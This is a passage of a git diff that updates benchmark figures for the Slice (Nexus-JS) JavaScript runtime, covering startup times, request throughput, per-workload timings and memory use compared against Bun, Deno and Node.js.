"nodeKb": 80396 }, { "id": "01-tot-autonomous-sre-agent", "label": "01-tot-autonomous-sre-agent", - "sliceKb": 20992, - "bunKb": 31104, + "sliceKb": 21376, + "bunKb": 31360, "denoKb": 53228, - "nodeKb": 83588 + "nodeKb": 85768 }, { "id": "02-mcp-code-mode-orchestrator", "label": "02-mcp-code-mode-orchestrator", - "sliceKb": 18552, - "bunKb": 28288, - "denoKb": 46784, - "nodeKb": 80776 + "sliceKb": 18304, + "bunKb": 28160, + "denoKb": 46804, + "nodeKb": 83076 }, { "id": "03-multi-tenant-saas-plugin-mesh", "label": "03-multi-tenant-saas-plugin-mesh", "sliceKb": 15104, - "bunKb": 26752, - "denoKb": 49484, - "nodeKb": 88456 + "bunKb": 26468, + "denoKb": 50120, + "nodeKb": 88156 }, { "id": "04-wasm-zero-trust-cdr-pipeline", "label": "04-wasm-zero-trust-cdr-pipeline", - "sliceKb": 20608, - "bunKb": 31360, - "denoKb": 49912, - "nodeKb": 80260 + "sliceKb": 20480, + "bunKb": 31488, + "denoKb": 49896, + "nodeKb": 80264 }, { "id": "05-time-travel-chaos-fuzzer-payments", "label": "05-time-travel-chaos-fuzzer-payments", - "sliceKb": 15232, - "bunKb": 29440, - "denoKb": 49488, - "nodeKb": 81444 + "sliceKb": 15616, + "bunKb": 29184, + "denoKb": 49656, + "nodeKb": 81560 }, { "id": "FW 4: SvelteKit 3 + Svelte 5", "label": "FW 4: SvelteKit 3 + Svelte 5", - "sliceKb": 21632, - "bunKb": 41216, - "denoKb": 56580, - "nodeKb": 85536 + "sliceKb": 22272, + "bunKb": 41856, + "denoKb": 56380, + "nodeKb": 85796 } ] } diff --git a/tests/reports/latest.md b/tests/reports/latest.md index cf164f2..cc398c4 100644 --- a/tests/reports/latest.md +++ b/tests/reports/latest.md @@ -1,8 +1,8 @@ -# Slice (Nexus-JS) — Full 33-Workload & MicroVM Benchmark Report +# Slice (Nexus-JS) - Full 33-Workload & MicroVM Benchmark Report -* **Slice Version:** `v0.10.12` (Commit `dc31f74`) -* **Generated Timestamp (UTC):** `2026-11-11T17:58:36Z` -* **Archive File:** [`tests/reports/bench_v0.10.12_20261111_175836Z_dc31f74.md`](./bench_v0.10.12_20261111_175836Z_dc31f74.md) +* **Slice Version:** `v0.10.12` (Commit `4c5089a`) +* **Generated Timestamp (UTC):** `2026-11-12T02:06:39Z` +* **Archive File:** [`tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.md`](./bench_v0.10.12_20261112_020639Z_4c5089a.md) * **Canonical Latest Report:** [`tests/reports/latest.md`](./latest.md) * **Environment:** `Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)` * **Compared Runtimes:** @@ -19,9 +19,9 @@ Across all **33 real-world multi-file TypeScript applications, framework suites, | Metric | Linux (`x86_64` Docker) | Windows (`x86_64` Host) | Comparison vs Runtimes & MicroVMs | | :--- | :---: | :---: | :--- | -| **Single Isolate Cold-Start (Min / P50 / P99)** | **`0.94 us` / `1.02 us` / `4.27 us`** | **`1.40 us` / `1.60 us` / `2.30 us`** | **~120,000x faster than 125ms Firecracker VM** | -| **1,000-Tenant MicroVM Swarm (Boot + Exec)** | **`1.74 ms`** (`9.82 MB` RSS) | **`2.24 ms`** (`11.82 MB` RSS) | **> 10,000x faster than container/VM swarms** | -| **500-Module Monorepo Cold Boot (`0 stat()`)** | **`3.408 ms`** (`467.08 us` in-mem) | **`5.637 ms`** (`640.00 us` in-mem) | **20.6x faster than Node.js (`1,500+ stat()`)** | +| **Single Isolate Cold-Start (Min / P50 / P99)** | **`0.94 us` / `1.24 us` / `2.10 us`** | **`1.40 us` / `1.60 us` / `2.30 us`** | **~120,000x faster than 125ms Firecracker VM** | +| **1,000-Tenant MicroVM Swarm (Boot + Exec)** | **`1.50 ms`** (`19.69 MB` RSS) | **`2.24 ms`** (`11.82 MB` RSS) | **> 10,000x faster than container/VM swarms** | +| **500-Module Monorepo Cold Boot (`0 stat()`)** | **`3.408 ms`** (`409.31 us` in-mem) | **`5.637 ms`** (`640.00 us` in-mem) | **20.6x faster than Node.js (`1,500+ stat()`)** | | **10,000 Direct Kernel Ring I/O Completions** | **`0.02 ms`** | **`5.11 ms`** | **Zero worker-thread lock contention** | | **5-Ring Security Containment Verification** | **`5 / 5 PASS`** | **`5 / 5 PASS`** | **OCap + SES + Fuel + SSRF/DLP + MPK** | @@ -31,11 +31,11 @@ Across all **33 real-world multi-file TypeScript applications, framework suites, | Server / Runtime | Throughput (`req/s`) | Avg Latency / Req | Total Time (`16k` Reqs) | Relative Speedup vs Runtimes | | :--- | :---: | :---: | :---: | :--- | -| **`slice serve` (Tier-0 CAS, `--workers=8`)** | **`154,794 req/s`** | **`6.46 us/req`** | **`103.4 ms`** | **`1.54x` faster than `Bun.serve` / `2.74x` Node.js** | -| **`slice serve` (Tier-1 WinterTC, `--workers=8`)** | **`147,564 req/s`** | **`6.78 us/req`** | **`108.4 ms`** | **`1.47x` faster than `Bun.serve` / `2.61x` Node.js** | -| **`Deno.serve` (`v2.9.8`, V8, No Per-Req Sandbox)** | `99,082 req/s` | `10.09 us/req` | `161.5 ms` | `0.99x` vs Bun | -| **`Bun.serve` (`v1.4.4`, JSC, No Per-Req Sandbox)** | `100,562 req/s` | `9.94 us/req` | `159.1 ms` | `1.00x` (Baseline) | -| **`Node.js http.createServer` (`v27.0.0-alpha.0.0.0`, V8)** | `56,447 req/s` | `17.72 us/req` | `283.5 ms` | `0.56x` vs Bun | +| **`slice serve` (Tier-0 CAS, `--workers=8`)** | **`148,865 req/s`** | **`6.72 us/req`** | **`107.5 ms`** | **`1.54x` faster than `Bun.serve` / `2.60x` Node.js** | +| **`slice serve` (Tier-1 WinterTC, `--workers=8`)** | **`154,737 req/s`** | **`6.46 us/req`** | **`103.4 ms`** | **`1.60x` faster than `Bun.serve` / `2.71x` Node.js** | +| **`Deno.serve` (`v2.9.8`, V8, No Per-Req Sandbox)** | `100,758 req/s` | `9.92 us/req` | `158.8 ms` | `1.04x` vs Bun | +| **`Bun.serve` (`v1.4.4`, JSC, No Per-Req Sandbox)** | `96,712 req/s` | `10.34 us/req` | `165.4 ms` | `1.00x` (Baseline) | +| **`Node.js http.createServer` (`v27.0.0-alpha.0.0.0`, V8)** | `57,158 req/s` | `17.50 us/req` | `279.9 ms` | `0.59x` vs Bun | --- @@ -43,39 +43,39 @@ Across all **33 real-world multi-file TypeScript applications, framework suites, | # | Workload (`tests/apps/`, `tests/frameworks/`, `tests/case_studies/`) | Slice Cold `.cas` (`SLICEBC\x01`) | Slice Standalone Bin (`SLICEBC\x01`) | Slice Warm (`--warm`) | Previous `.cas` (`Delta`) | Bun `v1.4.4` | Deno `v2.9.8` | Node.js `v27.0.0-alpha.0.0.0` | Slice Speedup vs Bun / Node.js | | :- | :--- | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :--- | -| **01** | `01-fintech-checkout` (Multi-File TS + SHA-256) | **`6.278 ms`** (`5.88 ms` Min) | **`6.621 ms`** | **`1.050 ms`** | `6.698 ms` (`-6.3%`) | `13.377 ms` | `35.217 ms` | `58.453 ms` | **`2.13x Bun` (`12.74x` Warm) / `9.31x Node`** | -| **02** | `02-npm-ecosystem-suite` (`semver` + `ms` + `ini`) | **`14.228 ms`** (`13.36 ms` Min) | **`14.717 ms`** | **`3.817 ms`** | `14.785 ms` (`-3.8%`) | `21.069 ms` | `55.166 ms` | `69.341 ms` | **`1.48x Bun` (`5.52x` Warm) / `4.87x Node`** | -| **03** | `03-disk-io-log-pipeline` (10 JSONL Shards Disk I/O) | **`7.250 ms`** (`6.81 ms` Min) | **`7.800 ms`** | **`1.289 ms`** | `7.617 ms` (`-4.8%`) | `14.082 ms` | `43.228 ms` | `61.792 ms` | **`1.94x Bun` (`10.92x` Warm) / `8.52x Node`** | -| **04** | `04-edge-api-gateway` (`fast-querystring` + `ms`) | **`7.408 ms`** (`6.98 ms` Min) | **`8.033 ms`** | **`1.736 ms`** | `7.559 ms` (`-2.0%`) | `15.082 ms` | `41.232 ms` | `59.873 ms` | **`2.04x Bun` (`8.69x` Warm) / `8.08x Node`** | -| **05** | `05-jwt-oauth-session-guard` (`cookie` + `ms` + HMAC) | **`10.074 ms`** (`9.45 ms` Min) | **`10.543 ms`** | **`4.654 ms`** | `10.511 ms` (`-4.2%`) | `14.766 ms` | `45.411 ms` | `62.437 ms` | **`1.47x Bun` (`3.17x` Warm) / `6.20x Node`** | -| **06** | `06-telemetry-metrics-pipeline` (`bytes` + `flatted` + WAL) | **`12.738 ms`** (`12.19 ms` Min) | **`13.970 ms`** | **`4.330 ms`** | `14.045 ms` (`-9.3%`) | `16.697 ms` | `46.630 ms` | `65.983 ms` | **`1.31x Bun` (`3.86x` Warm) / `5.18x Node`** | -| **07** | `07-graphql-ast-validator` (`dlv` + `dset` + AST Cost) | **`8.937 ms`** (`8.40 ms` Min) | **`9.786 ms`** | **`3.758 ms`** | `9.193 ms` (`-2.8%`) | `13.020 ms` | `41.561 ms` | `61.914 ms` | **`1.46x Bun` (`3.46x` Warm) / `6.93x Node`** | -| **08** | `08-event-driven-state-journal` (`mitt` + `ms` + JSONL Replay) | **`11.229 ms`** (`10.45 ms` Min) | **`14.547 ms`** | **`5.258 ms`** | `11.667 ms` (`-3.8%`) | `15.902 ms` | `46.355 ms` | `62.965 ms` | **`1.42x Bun` (`3.02x` Warm) / `5.61x Node`** | -| **09** | `09-wintertc-web-router` (`Request` + `Response` + `URL`, 80 reqs) | **`14.771 ms`** (`14.22 ms` Min) | **`15.429 ms`** | **`9.085 ms`** | `16.323 ms` (`-9.5%`) | `13.919 ms` | `47.276 ms` | `85.354 ms` | **`1.53x Bun Warm` / `5.78x Node`** | -| **10** | `10-fullstack-bff-microservice` (`cookie` + `dlv` + `ms` + `ETag`, 60 reqs) | **`12.802 ms`** (`12.16 ms` Min) | **`13.616 ms`** | **`6.308 ms`** | `13.778 ms` (`-7.1%`) | `14.467 ms` | `50.395 ms` | `84.816 ms` | **`1.13x Bun` (`2.29x` Warm) / `6.63x Node`** | -| **11** | `11-static-asset-cdn-edge` (`bytes` + `ms` + `ETag` `304`, 80 reqs) | **`10.042 ms`** (`9.54 ms` Min) | **`10.698 ms`** | **`3.656 ms`** | `10.366 ms` (`-3.1%`) | `13.499 ms` | `47.729 ms` | `87.639 ms` | **`1.34x Bun` (`3.69x` Warm) / `8.73x Node`** | -| **12** | `12-ai-sse-token-streamer` (`mitt` + `ms` + SSE + DLP, 320 frames) | **`15.593 ms`** (`14.85 ms` Min) | **`15.893 ms`** | **`7.429 ms`** | `15.430 ms` (`1.1%`) | `15.213 ms` | `48.694 ms` | `90.253 ms` | **`2.05x Bun Warm` / `5.79x Node`** | -| **13** | `13-webhook-orchestrator-ssrf` (`fast-querystring` + `ms` + Live `fetch`) | **`15.199 ms`** (`14.71 ms` Min) | **`16.293 ms`** | **`6.388 ms`** | `17.563 ms` (`-13.5%`) | `18.942 ms` | `51.379 ms` | `111.110 ms` | **`1.25x Bun` (`2.97x` Warm) / `7.31x Node`** | -| **14** | `14-federated-api-mesh-dlp` (`bytes` + `dlv` + `dset` + Live `fetch`) | **`15.828 ms`** (`15.01 ms` Min) | **`16.384 ms`** | **`6.697 ms`** | `16.692 ms` (`-5.2%`) | `21.200 ms` | `56.402 ms` | `108.617 ms` | **`1.34x Bun` (`3.17x` Warm) / `6.86x Node`** | -| **15** | `15-time-travel-test-suite` (`semver` + `ms` + `dlv` + `dset` + 24 Rollbacks) | **`15.273 ms`** (`14.53 ms` Min) | **`15.908 ms`** | **`4.757 ms`** | `16.035 ms` (`-4.8%`) | `24.939 ms` | `66.357 ms` | `84.077 ms` | **`1.63x Bun` (`5.24x` Warm) / `5.50x Node`** | -| **16** | `16-dotenv-dlp-config-vault` (`ini` + `cookie` + `bytes` + `.env` Auto-DLP) | **`7.598 ms`** (`6.83 ms` Min) | **`8.351 ms`** | **`1.234 ms`** | `8.079 ms` (`-6.0%`) | `14.844 ms` | `48.547 ms` | `67.533 ms` | **`1.95x Bun` (`12.03x` Warm) / `8.89x Node`** | -| **17** | `17-zero-trust-redirect-keepalive-mesh` (Keep-Alive/307/SSRF/DLP) | **`17.333 ms`** (`16.70 ms` Min) | **`18.916 ms`** | **`7.896 ms`** | `17.376 ms` (`-0.2%`) | `22.634 ms` | `55.132 ms` | `109.514 ms` | **`1.31x Bun` (`2.87x` Warm) / `6.32x Node`** | -| **18** | `18-async-event-loop-fanout-scheduler` (Timer Wheel/`Promise.all`/`AbortSignal`) | **`29.326 ms`** (`27.79 ms` Min) | **`30.533 ms`** | **`16.971 ms`** | `30.841 ms` (`-4.9%`) | `32.616 ms` | `70.809 ms` | `81.452 ms` | **`1.11x Bun` (`1.92x` Warm) / `2.78x Node`** | -| **19** | `19-wintertc-webcrypto-streams-edge` (WebCrypto/Streams/FormData/Clone) | **`8.118 ms`** (`7.68 ms` Min) | **`9.079 ms`** | **`1.396 ms`** | `8.515 ms` (`-4.7%`) | `13.794 ms` | `44.403 ms` | `86.921 ms` | **`1.70x Bun` (`9.88x` Warm) / `10.71x Node`** | -| **20** | `20-node-compat-and-edge-router` (`Uint8Array` `Buffer`/Node Core/AST Bundler) | **`11.261 ms`** (`10.21 ms` Min) | **`11.623 ms`** | **`0.496 ms`** | `11.298 ms` (`-0.3%`) | `25.080 ms` | `55.776 ms` | `73.350 ms` | **`2.23x Bun` (`50.56x` Warm) / `6.51x Node`** | -| **21** | `21-websocket-realtime-and-security-guard` (RFC 6455 `WebSocket` + 5-Ring Guard) | **`10.714 ms`** (`10.08 ms` Min) | **`11.463 ms`** | **`2.166 ms`** | `11.073 ms` (`-3.2%`) | `20.494 ms` | `51.042 ms` | `116.007 ms` | **`1.91x Bun` (`9.46x` Warm) / `10.83x Node`** | -| **22** | `22-worker-threads-and-raw-sockets` (3 Worker Threads + TCP/UDP + 5-Ring Sec) | **`20.988 ms`** (`20.33 ms` Min) | **`21.637 ms`** | **`1.739 ms`** | `20.159 ms` (`4.1%`) | `57.152 ms` | `114.016 ms` | `101.723 ms` | **`2.72x Bun` (`32.86x` Warm) / `4.85x Node`** | -| **23** | `23-wasm-crypto-and-simd-kernel` (Pure-Rust `WebAssembly` + 5-Ring WASM Sec) | **`15.548 ms`** (`14.73 ms` Min) | **`16.009 ms`** | **`1.970 ms`** | `15.430 ms` (`0.8%`) | `21.684 ms` | `40.550 ms` | `63.213 ms` | **`1.39x Bun` (`11.01x` Warm) / `4.07x Node`** | -| **24** | `24-tsx-ssr-and-wasm-edge-pipeline` (`WebAssembly` SLA Scorer + SSR Pipeline) | **`8.719 ms`** (`7.84 ms` Min) | **`8.994 ms`** | **`1.758 ms`** | `8.744 ms` (`-0.3%`) | `19.118 ms` | `42.405 ms` | `67.199 ms` | **`2.19x Bun` (`10.87x` Warm) / `7.71x Node`** | -| **FW-01** | `FW-01: frameworks/01-hono-edge-microservice` (`hono@4.6.20` + `hono/cookie` + `ms`) | **`14.653 ms`** (`14.06 ms` Min) | **`15.350 ms`** | **`5.593 ms`** | `15.219 ms` (`-3.7%`) | `19.858 ms` | `51.149 ms` | `94.150 ms` | **`1.36x Bun` (`3.55x` Warm) / `6.43x Node`** | -| **FW-02** | `FW-02: frameworks/02-itty-router-unjs-nitro-stack` (`itty-router` + UnJS) | **`17.364 ms`** (`16.63 ms` Min) | **`17.789 ms`** | **`9.113 ms`** | `17.819 ms` (`-2.6%`) | `18.943 ms` | `46.132 ms` | `86.398 ms` | **`1.09x Bun` (`2.08x` Warm) / `4.98x Node`** | -| **FW-03** | `FW-03: frameworks/03-node-http-express-compat` (`node:http` + `node:stream` Express/Polka) | **`16.742 ms`** (`16.24 ms` Min) | **`18.053 ms`** | **`0.927 ms`** | `17.267 ms` (`-3.0%`) | `34.374 ms` | `51.235 ms` | `84.492 ms` | **`2.05x Bun` (`37.08x` Warm) / `5.05x Node`** | -| **FW-04** | `FW-04: frameworks/04-sveltekit-edge-ssr` (`@sveltejs/kit@3.1.1` + `svelte@5.57.3` + `devalue@6.0.3`) | **`34.372 ms`** (`32.03 ms` Min) | **`34.188 ms`** | **`14.260 ms`** | `32.075 ms` (`7.2%`) | `43.709 ms` | `68.042 ms` | `108.544 ms` | **`1.28x Bun` (`3.07x` Warm) / `3.17x Node`** | -| **CS-01** | `CS-01: case_studies/01-tot-autonomous-sre-agent` (20 ToT Sandboxes) | **`34.837 ms`** (`32.96 ms` Min) | **`36.000 ms`** | **`12.991 ms`** | `34.706 ms` (`0.4%`) | `28.855 ms` | `73.549 ms` | `91.045 ms` | **`2.22x Bun Warm` / `2.61x Node`** | -| **CS-02** | `CS-02: case_studies/02-mcp-code-mode-orchestrator` (`-98.4%` Tokens) | **`19.490 ms`** (`17.87 ms` Min) | **`19.711 ms`** | **`3.241 ms`** | `18.871 ms` (`3.3%`) | `16.986 ms` | `44.877 ms` | `68.991 ms` | **`5.24x Bun Warm` / `3.54x Node`** | -| **CS-03** | `CS-03: case_studies/03-multi-tenant-saas-plugin-mesh` (12 Tenants + Hot-Swap) | **`13.171 ms`** (`12.59 ms` Min) | **`14.508 ms`** | **`5.274 ms`** | `13.687 ms` (`-3.8%`) | `16.965 ms` | `49.996 ms` | `87.777 ms` | **`1.29x Bun` (`3.22x` Warm) / `6.66x Node`** | -| **CS-04** | `CS-04: case_studies/04-wasm-zero-trust-cdr-pipeline` (Wasm SimHash CDR) | **`20.235 ms`** (`18.73 ms` Min) | **`21.128 ms`** | **`1.501 ms`** | `19.960 ms` (`1.4%`) | `20.878 ms` | `48.725 ms` | `70.429 ms` | **`1.03x Bun` (`13.91x` Warm) / `3.48x Node`** | -| **CS-05** | `CS-05: case_studies/05-time-travel-chaos-fuzzer-payments` (48 Payment Sagas) | **`18.139 ms`** (`16.44 ms` Min) | **`19.258 ms`** | **`8.323 ms`** | `18.213 ms` (`-0.4%`) | `21.102 ms` | `65.542 ms` | `86.649 ms` | **`1.16x Bun` (`2.54x` Warm) / `4.78x Node`** | +| **01** | `01-fintech-checkout` (Multi-File TS + SHA-256) | **`6.197 ms`** (`5.81 ms` Min) | **`6.734 ms`** | **`1.100 ms`** | `6.278 ms` (`-1.3%`) | `13.348 ms` | `35.658 ms` | `59.811 ms` | **`2.15x Bun` (`12.13x` Warm) / `9.65x Node`** | +| **02** | `02-npm-ecosystem-suite` (`semver` + `ms` + `ini`) | **`14.246 ms`** (`13.34 ms` Min) | **`14.914 ms`** | **`3.899 ms`** | `14.228 ms` (`0.1%`) | `20.988 ms` | `52.586 ms` | `69.870 ms` | **`1.47x Bun` (`5.38x` Warm) / `4.90x Node`** | +| **03** | `03-disk-io-log-pipeline` (10 JSONL Shards Disk I/O) | **`7.197 ms`** (`6.62 ms` Min) | **`7.838 ms`** | **`1.378 ms`** | `7.250 ms` (`-0.7%`) | `14.561 ms` | `44.015 ms` | `60.874 ms` | **`2.02x Bun` (`10.57x` Warm) / `8.46x Node`** | +| **04** | `04-edge-api-gateway` (`fast-querystring` + `ms`) | **`7.332 ms`** (`6.89 ms` Min) | **`7.986 ms`** | **`1.738 ms`** | `7.408 ms` (`-1.0%`) | `15.137 ms` | `47.146 ms` | `63.466 ms` | **`2.06x Bun` (`8.71x` Warm) / `8.66x Node`** | +| **05** | `05-jwt-oauth-session-guard` (`cookie` + `ms` + HMAC) | **`10.285 ms`** (`9.83 ms` Min) | **`10.877 ms`** | **`4.975 ms`** | `10.074 ms` (`2.1%`) | `14.983 ms` | `42.265 ms` | `62.265 ms` | **`1.46x Bun` (`3.01x` Warm) / `6.05x Node`** | +| **06** | `06-telemetry-metrics-pipeline` (`bytes` + `flatted` + WAL) | **`12.826 ms`** (`12.45 ms` Min) | **`13.394 ms`** | **`4.382 ms`** | `12.738 ms` (`0.7%`) | `16.890 ms` | `46.254 ms` | `63.436 ms` | **`1.32x Bun` (`3.85x` Warm) / `4.95x Node`** | +| **07** | `07-graphql-ast-validator` (`dlv` + `dset` + AST Cost) | **`10.054 ms`** (`8.62 ms` Min) | **`9.409 ms`** | **`3.865 ms`** | `8.937 ms` (`12.5%`) | `13.266 ms` | `40.911 ms` | `59.861 ms` | **`1.41x Bun` (`3.43x` Warm) / `6.36x Node`** | +| **08** | `08-event-driven-state-journal` (`mitt` + `ms` + JSONL Replay) | **`11.443 ms`** (`10.81 ms` Min) | **`12.012 ms`** | **`4.770 ms`** | `11.229 ms` (`1.9%`) | `16.013 ms` | `45.838 ms` | `63.833 ms` | **`1.40x Bun` (`3.36x` Warm) / `5.58x Node`** | +| **09** | `09-wintertc-web-router` (`Request` + `Response` + `URL`, 80 reqs) | **`15.519 ms`** (`14.79 ms` Min) | **`16.066 ms`** | **`9.479 ms`** | `14.771 ms` (`5.1%`) | `14.539 ms` | `48.802 ms` | `91.771 ms` | **`1.53x Bun Warm` / `5.91x Node`** | +| **10** | `10-fullstack-bff-microservice` (`cookie` + `dlv` + `ms` + `ETag`, 60 reqs) | **`13.388 ms`** (`12.75 ms` Min) | **`14.657 ms`** | **`6.545 ms`** | `12.802 ms` (`4.6%`) | `14.571 ms` | `51.098 ms` | `89.527 ms` | **`1.09x Bun` (`2.23x` Warm) / `6.69x Node`** | +| **11** | `11-static-asset-cdn-edge` (`bytes` + `ms` + `ETag` `304`, 80 reqs) | **`10.930 ms`** (`10.07 ms` Min) | **`11.212 ms`** | **`3.999 ms`** | `10.042 ms` (`8.8%`) | `13.501 ms` | `48.508 ms` | `91.330 ms` | **`1.24x Bun` (`3.38x` Warm) / `8.36x Node`** | +| **12** | `12-ai-sse-token-streamer` (`mitt` + `ms` + SSE + DLP, 320 frames) | **`15.296 ms`** (`14.79 ms` Min) | **`16.165 ms`** | **`6.942 ms`** | `15.593 ms` (`-1.9%`) | `15.334 ms` | `48.041 ms` | `89.299 ms` | **`1.00x Bun` (`2.21x` Warm) / `5.84x Node`** | +| **13** | `13-webhook-orchestrator-ssrf` (`fast-querystring` + `ms` + Live `fetch`) | **`15.922 ms`** (`14.92 ms` Min) | **`16.213 ms`** | **`7.103 ms`** | `15.199 ms` (`4.8%`) | `19.082 ms` | `51.390 ms` | `112.929 ms` | **`1.20x Bun` (`2.69x` Warm) / `7.09x Node`** | +| **14** | `14-federated-api-mesh-dlp` (`bytes` + `dlv` + `dset` + Live `fetch`) | **`15.601 ms`** (`15.01 ms` Min) | **`16.721 ms`** | **`7.079 ms`** | `15.828 ms` (`-1.4%`) | `20.766 ms` | `51.558 ms` | `107.861 ms` | **`1.33x Bun` (`2.93x` Warm) / `6.91x Node`** | +| **15** | `15-time-travel-test-suite` (`semver` + `ms` + `dlv` + `dset` + 24 Rollbacks) | **`14.828 ms`** (`14.33 ms` Min) | **`16.060 ms`** | **`4.894 ms`** | `15.273 ms` (`-2.9%`) | `24.396 ms` | `68.179 ms` | `82.991 ms` | **`1.65x Bun` (`4.98x` Warm) / `5.60x Node`** | +| **16** | `16-dotenv-dlp-config-vault` (`ini` + `cookie` + `bytes` + `.env` Auto-DLP) | **`7.737 ms`** (`7.22 ms` Min) | **`8.257 ms`** | **`1.255 ms`** | `7.598 ms` (`1.8%`) | `14.873 ms` | `45.224 ms` | `65.018 ms` | **`1.92x Bun` (`11.85x` Warm) / `8.40x Node`** | +| **17** | `17-zero-trust-redirect-keepalive-mesh` (Keep-Alive/307/SSRF/DLP) | **`17.608 ms`** (`16.80 ms` Min) | **`18.123 ms`** | **`7.828 ms`** | `17.333 ms` (`1.6%`) | `21.856 ms` | `54.487 ms` | `113.958 ms` | **`1.24x Bun` (`2.79x` Warm) / `6.47x Node`** | +| **18** | `18-async-event-loop-fanout-scheduler` (Timer Wheel/`Promise.all`/`AbortSignal`) | **`29.524 ms`** (`28.52 ms` Min) | **`31.164 ms`** | **`17.348 ms`** | `29.326 ms` (`0.7%`) | `32.481 ms` | `70.418 ms` | `80.512 ms` | **`1.10x Bun` (`1.87x` Warm) / `2.73x Node`** | +| **19** | `19-wintertc-webcrypto-streams-edge` (WebCrypto/Streams/FormData/Clone) | **`8.378 ms`** (`7.73 ms` Min) | **`8.841 ms`** | **`1.322 ms`** | `8.118 ms` (`3.2%`) | `14.097 ms` | `49.351 ms` | `87.562 ms` | **`1.68x Bun` (`10.66x` Warm) / `10.45x Node`** | +| **20** | `20-node-compat-and-edge-router` (`Uint8Array` `Buffer`/Node Core/AST Bundler) | **`10.830 ms`** (`10.39 ms` Min) | **`11.733 ms`** | **`0.484 ms`** | `11.261 ms` (`-3.8%`) | `22.621 ms` | `53.734 ms` | `73.692 ms` | **`2.09x Bun` (`46.74x` Warm) / `6.80x Node`** | +| **21** | `21-websocket-realtime-and-security-guard` (RFC 6455 `WebSocket` + 5-Ring Guard) | **`11.083 ms`** (`10.45 ms` Min) | **`12.066 ms`** | **`2.333 ms`** | `10.714 ms` (`3.4%`) | `21.350 ms` | `53.525 ms` | `120.536 ms` | **`1.93x Bun` (`9.15x` Warm) / `10.88x Node`** | +| **22** | `22-worker-threads-and-raw-sockets` (3 Worker Threads + TCP/UDP + 5-Ring Sec) | **`21.431 ms`** (`20.09 ms` Min) | **`22.212 ms`** | **`1.737 ms`** | `20.988 ms` (`2.1%`) | `56.813 ms` | `115.280 ms` | `106.594 ms` | **`2.65x Bun` (`32.71x` Warm) / `4.97x Node`** | +| **23** | `23-wasm-crypto-and-simd-kernel` (Pure-Rust `WebAssembly` + 5-Ring WASM Sec) | **`15.455 ms`** (`14.77 ms` Min) | **`16.445 ms`** | **`1.856 ms`** | `15.548 ms` (`-0.6%`) | `21.122 ms` | `42.013 ms` | `59.800 ms` | **`1.37x Bun` (`11.38x` Warm) / `3.87x Node`** | +| **24** | `24-tsx-ssr-and-wasm-edge-pipeline` (`WebAssembly` SLA Scorer + SSR Pipeline) | **`8.681 ms`** (`8.11 ms` Min) | **`9.560 ms`** | **`1.730 ms`** | `8.719 ms` (`-0.4%`) | `18.430 ms` | `44.119 ms` | `67.854 ms` | **`2.12x Bun` (`10.65x` Warm) / `7.82x Node`** | +| **FW-01** | `FW-01: frameworks/01-hono-edge-microservice` (`hono@4.6.20` + `hono/cookie` + `ms`) | **`16.171 ms`** (`14.99 ms` Min) | **`15.851 ms`** | **`5.590 ms`** | `14.653 ms` (`10.4%`) | `19.635 ms` | `53.182 ms` | `96.148 ms` | **`1.24x Bun` (`3.51x` Warm) / `6.07x Node`** | +| **FW-02** | `FW-02: frameworks/02-itty-router-unjs-nitro-stack` (`itty-router` + UnJS) | **`17.377 ms`** (`16.62 ms` Min) | **`18.091 ms`** | **`8.900 ms`** | `17.364 ms` (`0.1%`) | `19.125 ms` | `46.091 ms` | `86.328 ms` | **`1.10x Bun` (`2.15x` Warm) / `4.97x Node`** | +| **FW-03** | `FW-03: frameworks/03-node-http-express-compat` (`node:http` + `node:stream` Express/Polka) | **`17.811 ms`** (`16.52 ms` Min) | **`18.809 ms`** | **`1.013 ms`** | `16.742 ms` (`6.4%`) | `35.691 ms` | `52.659 ms` | `83.756 ms` | **`2.00x Bun` (`35.23x` Warm) / `4.70x Node`** | +| **FW-04** | `FW-04: frameworks/04-sveltekit-edge-ssr` (`@sveltejs/kit@3.1.1` + `svelte@5.57.3` + `devalue@6.0.3`) | **`33.504 ms`** (`31.83 ms` Min) | **`35.475 ms`** | **`14.704 ms`** | `34.372 ms` (`-2.5%`) | `51.401 ms` | `74.880 ms` | `113.299 ms` | **`1.53x Bun` (`3.50x` Warm) / `3.38x Node`** | +| **CS-01** | `CS-01: case_studies/01-tot-autonomous-sre-agent` (20 ToT Sandboxes) | **`33.655 ms`** (`31.82 ms` Min) | **`36.944 ms`** | **`13.077 ms`** | `34.837 ms` (`-3.4%`) | `27.983 ms` | `72.009 ms` | `88.021 ms` | **`2.14x Bun Warm` / `2.62x Node`** | +| **CS-02** | `CS-02: case_studies/02-mcp-code-mode-orchestrator` (`-98.4%` Tokens) | **`19.384 ms`** (`17.85 ms` Min) | **`19.431 ms`** | **`3.349 ms`** | `19.490 ms` (`-0.5%`) | `16.144 ms` | `43.412 ms` | `68.456 ms` | **`4.82x Bun Warm` / `3.53x Node`** | +| **CS-03** | `CS-03: case_studies/03-multi-tenant-saas-plugin-mesh` (12 Tenants + Hot-Swap) | **`13.717 ms`** (`12.80 ms` Min) | **`14.502 ms`** | **`5.760 ms`** | `13.171 ms` (`4.1%`) | `16.713 ms` | `48.065 ms` | `85.559 ms` | **`1.22x Bun` (`2.90x` Warm) / `6.24x Node`** | +| **CS-04** | `CS-04: case_studies/04-wasm-zero-trust-cdr-pipeline` (Wasm SimHash CDR) | **`19.798 ms`** (`19.19 ms` Min) | **`20.942 ms`** | **`1.419 ms`** | `20.235 ms` (`-2.2%`) | `18.914 ms` | `44.462 ms` | `68.689 ms` | **`13.33x Bun Warm` / `3.47x Node`** | +| **CS-05** | `CS-05: case_studies/05-time-travel-chaos-fuzzer-payments` (48 Payment Sagas) | **`17.561 ms`** (`16.42 ms` Min) | **`18.123 ms`** | **`8.515 ms`** | `18.139 ms` (`-3.2%`) | `20.039 ms` | `63.785 ms` | `82.764 ms` | **`1.14x Bun` (`2.35x` Warm) / `4.71x Node`** | --- @@ -83,21 +83,21 @@ Across all **33 real-world multi-file TypeScript applications, framework suites, | Workload | Slice (`SLICEBC\x01` Default) | Bun (`v1.4.4`) | Deno (`v2.9.8`) | Node.js (`v27.0.0-alpha.0.0.0`) | Slice Memory Advantage | | :--- | :---: | :---: | :---: | :---: | :--- | -| **App 2: NPM semver+ms+ini** | **14,464 KB (14.13 MB)** | 30,336 KB (29.63 MB) | 47,068 KB (45.96 MB) | 71,836 KB (70.15 MB) | **4.97x less than Node / 2.10x less than Bun** | -| **App 6: Telemetry + Flatted** | **13,776 KB (13.45 MB)** | 29,952 KB (29.25 MB) | 50,800 KB 